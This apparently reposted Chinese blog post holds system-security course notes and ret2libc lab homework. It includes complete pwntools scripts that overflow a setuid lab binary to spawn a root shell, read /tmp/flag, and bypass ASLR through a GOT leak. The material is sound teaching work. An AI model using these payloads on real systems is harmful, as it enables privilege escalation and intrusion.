其他分享
首页 > 其他分享> > System Security 03| Notes && Homework - ret2libc

System Security 03| Notes && Homework - ret2libc

作者:互联网

System Security 03| Notes && Homework - ret2libc

Notes | 控制流劫持攻击

攻击目标: 通过劫持应用程序的控制流,在目标机器上执行攻击代码,从而获取权限

三种攻击实例:

攻击方法

缓冲区溢出攻击

  1. 栈生长结构:
    在这里插入图片描述

在这里插入图片描述

  1. stack exploit example:

    下段代码中:

void func(char *str) {
char buf[128];
strcpy(buf, str);
do-something(buf);
}

函数被调用时堆栈中的数据:
在这里插入图片描述
当字符串*str大小超过buf的128字节后,自然会向下覆盖。故而攻击者即可将实现构造好的要跳转的地址通过向buf中输入字符串进行缓冲区溢出攻击。

  1. 常见不安全的c库函数

在这里插入图片描述

  1. 缓冲区溢出利用

在这里插入图片描述

  1. 控制劫持方法

在这里插入图片描述

整数溢出攻击

比较明显,直接看例子吧
在这里插入图片描述

在这里插入图片描述

格式化字符串漏洞

need to do …

防御方法

1. Fix bugs:

在这里插入图片描述

2. 允许溢出,防止shellcode执行: NX位

3. 运行时检查代码: 添加运行时检查代码,检测溢出利用,当检测到进程被攻击者用溢出漏洞攻击时挂起该进程。

4.
在这里插入图片描述

将内存标记为不可执行(W^X)

在这里插入图片描述

Non-executable Stack

StackGuard

原理
StackGuard is a compiler extension that enhances the executable code produced by the compiler so that it detects and thwarts buffer-overflow attacks against the stack. The effect is transparent to the normal function of programs. The only way to notice that a program is StackGuard-enhanced is to cause it to execute C statements with undefined behavior: StackGuard-enhanced programs define the behavior of writing to the return address of a function while it is still active.

在这里插入图片描述

缓冲区溢出攻击的核心点在于,由于程序没有检测边界,而攻击者利用这一点覆盖函数的返回地址。如果能检测程序是否被修改,即可作出一定的防御,例如检测到被修改时就退出。
StackGuard即向返回地址后面插入一段特殊值(canary),在函数返回之前,首先检查canary是否被修改, 若被修改,则说明发生了缓冲区溢出攻击。更安全的方式是,插入这段特殊值,是随机值:

在这里插入图片描述

但如果攻击者不修改这段值,直接修改返回地址,即可绕过?但攻击者无法知道这段随机值的长度,另外由于随机化,攻击者也无法轻易复制这一段随机值。

应用:

在这里插入图片描述

StackShield

原理:

实现: GCC的扩展

Separate Stack

在这里插入图片描述

ASLR (Address Space Layout Randomization)

在这里插入图片描述

在这里插入图片描述

关于ASLR、PIE、PIC, 先附上一个讲得超级清晰的链接

绕过

在这里插入图片描述
A ref given by Prof.Q

CFI (Control Flow Integrity)

在这里插入图片描述

Ret2libc

在此之前,首先梳理一下常见的 ret- 攻击形式:

在这里插入图片描述
在这里插入图片描述

ROP (The Return-oriented programming)

在这里插入图片描述

步骤:

  1. 反汇编代码
  2. 确定有用的代码序列作为gadgets
  3. 把gadgets组装成需要的shellcode,注意shellcode的等价实现

一些问题:

在这里插入图片描述
在这里插入图片描述

Pre

在这里插入图片描述

在这里插入图片描述

Test

Task:
在这里插入图片描述
为了获取系统权限,需要调用system函数并进入“/bin/sh"获取权限,在栈中放入system所在的地址,及字符串 ”/bin/sh“ 的地址。在此之前通过调用 exit 使stack正常退出,避免因访问到错误的地址进而报错并异常结束。

Pre

关闭 ASLR,查看当前状态为0:(1为默认,2为开启) 在这里插入图片描述

Process

  1. 编译 stack.c,生成可执行文件stack
    在这里插入图片描述

参数说明:

  1. 将stack提权,提升为内核权限 在这里插入图片描述

  2. gdb装载stack,并确定关键函数的地址。由于关闭了ASLR,故而每次装载的地址都不会发生变化。

需要确认的地址:system、exit、‘/bin/sh’。其中system与exit的地址可在gdb中通过 “p” 命令查看:
在这里插入图片描述
对于字符串 “/bin/sh”,首先通过 ”info proc mappings“ 查看所加载动态库的地址,如下图,”/usr/lib32/libc-2.31.so" 的首地址“0xf7dcb000”(此处记录一下,后续通过与偏移地址相加可进行验证)
在这里插入图片描述

”/usr/lib32/libc-2.31.so" 的首地址“0xf7dcb000” 在上节已获取,偏移地址0x00037950,相加即可得到真实地址0xf7e02950,正确。
在这里插入图片描述

ROPgadaget通过在动态链接库中查找字符串"/bin/sh"获取其地址:

在这里插入图片描述

cyclic生成一个长为200的随机字符串:
在这里插入图片描述
run stack之后,利用上述字符串进行溢出攻击,确定溢出点 0x6161616c :
在这里插入图片描述
cyclic -l指令确定能覆盖到返回地址的溢出长度,为44。因此填充字符padding的长度为44:
在这里插入图片描述

  1. 所构建脚本如下:

payload = b’a’ * 44 + p32(system_addr)+ p32(exit_addr)+ p32(binsh_addr),使用p32将地址扩展为32位,保证对齐。

from pwn import *

#context.log_level = 'debug'

debug = 1

if debug:
	sh = process('./stack')

system_addr = 0xf7e10000 #=0xf7dcb000+0x00045000
exit_addr = 0xf7e02950 #=0xf7dcb000+0x00037950
binsh_addr  = 0xf7f5733c #=0xf7dcb000+0x0018c33c
payload = b'a' * 44 + p32(system_addr)+ p32(exit_addr)+ p32(binsh_addr)

def pwn(sh, payload):
	sh.sendline(payload)
	sh.interactive()

pwn(sh, payload)
  1. 执行结果: 成功获取权限

在这里插入图片描述

Some problems

需注意,python3 在字符串前加入“b”,将字符串转换为byte方式。

Homework 00 - Ret2libc without ASLR

Task:

在上个任务的基础上,实现一个ret2libc的多函数调用。基本原理相同,只需构建多个函数调用时的栈即可。

在这里插入图片描述

Pre

ASLR仍处于关闭状态:
在这里插入图片描述
另外,被攻击的stack.c在上一部分中已编译生成,不再重新编译。

Process

  1. system、exit、“/bin/sh”的地址已确定,此处还需要read、write、open的地址:

如下:
在这里插入图片描述

  1. 确定已有的 2次pop+ret 指令、3次pop+ret 指令 在程序中的地址,用于在栈中为函数的参数出栈:
    在这里插入图片描述
    可得到: pop2_addr = 0x0804935a
    pop3_addr = 0x08049359

  2. 获取一个临时缓冲区,通过在gdb中不断尝试查找空闲地址获得,最终找到如下地址,内容为空,可利用在这里插入图片描述

  3. 获取 buf 地址:用于将其加上偏移 0x70 得到“/tmp/flag”地址
    在这里插入图片描述

  4. 确定payload:

payload2 = b'a'*44 + p32(open_addr) + p32(pop2_addr) + p32(buf_addr) + p32(0)+ p32(read_addr) + p32(pop3_addr) + p32(3) + p32(tmp_addr) + p32(100)+ p32(write_addr) + p32(pop3_addr) + p32(1) + p32(tmp_addr) + p32(100) + p32(system_addr) + p32(exit_addr) + p32(binsh_addr)+file_str+b'\x00'

此处关于“/tmp/flag”字符串,由于该字符串本身不在系统的动态链接库中存在,因此需要手动将其放入某个空闲地址中。最开始想要直接将其放入stack.c 的数组buf中,但会在函数调用时被覆盖掉…?..,因此将其放在程序最末尾,当利用open函数进行打开该文件时,不会被覆盖,但经过试验在第二次函数调用(即调用read时)即会被覆盖,但此时“/tmp/flag”字符串已不需要使用,故而被覆盖掉也没有关系。对于“/tmp/flag”的地址,使用在payload中其相对于payload开始(即buf的地址)的偏移,加在buf地址上即可获得。

结构如下:
在这里插入图片描述

from pwn import *

#context.log_level = 'debug'

debug = 1

if debug:
	sh = process('./stack')

system_addr = 0xf7e10000 #=0xf7dcb000+0x00045000
exit_addr = 0xf7e02950 #=0xf7dcb000+0x00037950
binsh_addr = 0xf7f5733c #=0xf7dcb000+0x0018c33c
open_addr = 0xf7ebcab0
read_addr = 0xf7ebcf30
write_addr= 0xf7ebcfd0
pop2_addr = 0x0804935a
pop3_addr = 0x08049359
file_str = b'/tmp/flag'
tmp_addr = 0x0804c100
buf_addr= 0xffffd120+0x70
#payload = b'a' * 44 + p32(system_addr)+ p32(exit_addr)+ p32(binsh_addr)
payload2 = b'a'*44 + p32(open_addr) + p32(pop2_addr) + p32(buf_addr) + p32(0)+ p32(read_addr) + p32(pop3_addr) + p32(3) + p32(tmp_addr) + p32(100)+ p32(write_addr) + p32(pop3_addr) + p32(1) + p32(tmp_addr) + p32(100) + p32(system_addr) + p32(exit_addr) + p32(binsh_addr)+file_str+b'\x00'


def pwn(sh, payload2):
	sh.sendline(payload2)
	sh.interactive()

pwn(sh, payload2)
  1. 执行攻击:成功读取flag中的文件内容,并获取权限
    在这里插入图片描述
    在这里插入图片描述

Some problems

关于“tmp/flag”字符串的问题:
此处关于“/tmp/flag”字符串,由于该字符串本身不在系统的动态链接库中存在,因此需要手动将其放入某个空闲地址中。最开始想要直接将其放入stack.c 的数组buf中,但会在函数调用时被覆盖掉…?..,因此将其放在程序最末尾,当利用open函数进行打开该文件时,不会被覆盖,但经过试验在第二次函数调用(即调用read时)即会被覆盖,但此时“/tmp/flag”字符串已不需要使用,故而被覆盖掉也没有关系。对于“/tmp/flag”的地址,使用在payload中其相对于payload开始(即buf的地址)的偏移,加在buf地址上即可获得。
另外,也可以使用read函数进行读入。

Homework 01 - Ret2libc with ASLR

Pre

关闭ASLR:
在这里插入图片描述
多次加载stack,每次装载的地址发生变化:
在这里插入图片描述

Process

  1. 确定main的地址:
    在这里插入图片描述

  2. 确定pop-ret、2次pop-ret、3次pop-ret的指令地址:

pop_ret_addr = 0x0804935b
pop2_addr = 0x0804935a
pop3_addr = 0x08049359
在这里插入图片描述

  1. 确定临时缓冲区 tmp_addr 地址:0x804c100
    在这里插入图片描述

  2. 试图将“/tmp/flag"字符串放入buf中,但实际上发现每次装载buf的地址发生了变化,因此通过read的方式放入"/tmp/flag" :
    在这里插入图片描述
    在这里插入图片描述

  3. 构建payload:

首先,第一个payload用于通过PLT中获取的 printf 地址跳转到 GOT,执行 printf,此时GOT表中的printf已被更新,将GOT中printf的真实地址输出,达到地址泄漏的目的。

之后,再利用第二个payload进行攻击,具体原理同上节,不同之处在于通过read的方式放入"/tmp/flag"。

from pwn import *
import elf
import time
#context.log_level = 'debug'
debug = 1
if debug:
	sh = process('./stack')

e = ELF('stack')
libc = ELF('/usr/lib32/libc-2.31.so')

printf_plt = e.plt['printf']
printf_got = e.got['printf']
printf_offset = libc.symbols['printf']

#buf_sym=e.symbols['buf']
#print('buf',buf_sym)

main_addr =  0x8049277
pop_ret_addr = 0x0804935b
pop2_addr = 0x0804935a
pop3_addr = 0x08049359 
tmp_addr = 0x0804c100
#buf_addr= 0xffc9b2d0+0x70

payload0 = b'a'*44 + p32(printf_plt) + p32(pop_ret_addr) + p32(printf_got) + p32(main_addr)

global libc_addr


sh.sendline(payload0)
sh.recvuntil(b"Invalid Password!\n")
adrputs=sh.recvn(4)
libc_addr=int.from_bytes(adrputs,"little")-printf_offset
system_addr=libc_addr+libc.symbols["system"]#找出system的真实地址
binsh_addr=libc_addr+libc.search(b"/bin/sh").__next__() #找出/bin/sh的真实地址,函数用symbols修饰,字符串用search
exit_addr = libc_addr + libc.symbols['exit']
open_addr = libc_addr + libc.symbols['open']
read_addr = libc_addr + libc.symbols['read']
write_addr= libc_addr + libc.symbols['write']
file_str = b'/tmp/flag'

payload2 = b'a'*44 + p32(read_addr)+p32(pop3_addr)+p32(0)+p32(tmp_addr)+p32(9)+p32(open_addr) + p32(pop2_addr) + p32(tmp_addr) + p32(0)+ p32(read_addr) + p32(pop3_addr) + p32(3) + p32(tmp_addr) + p32(100)+ p32(write_addr) + p32(pop3_addr) + p32(1) + p32(tmp_addr) + p32(100) + p32(system_addr) + p32(exit_addr) + p32(binsh_addr)


def pwn(sh,payload2):
	sh.sendline(payload2)
	sleep(3)
	sh.sendline(file_str)
	sh.interactive()

pwn(sh,payload2)
  1. 执行成功
    在这里插入图片描述

Reference

[1] https://www.pianshen.com/article/2931656725/
[2] https://blog.csdn.net/qq_39249347/article/details/107173523
[3] https://www.freebuf.com/news/182894.html
[4] https://blog.csdn.net/qq_44108455/article/details/105129206
[5] https://blog.csdn.net/qq_44108455/article/details/105367144

标签:tmp,03,addr,Notes,System,地址,sh,p32,buf
来源: https://blog.csdn.net/weixin_43894553/article/details/116191023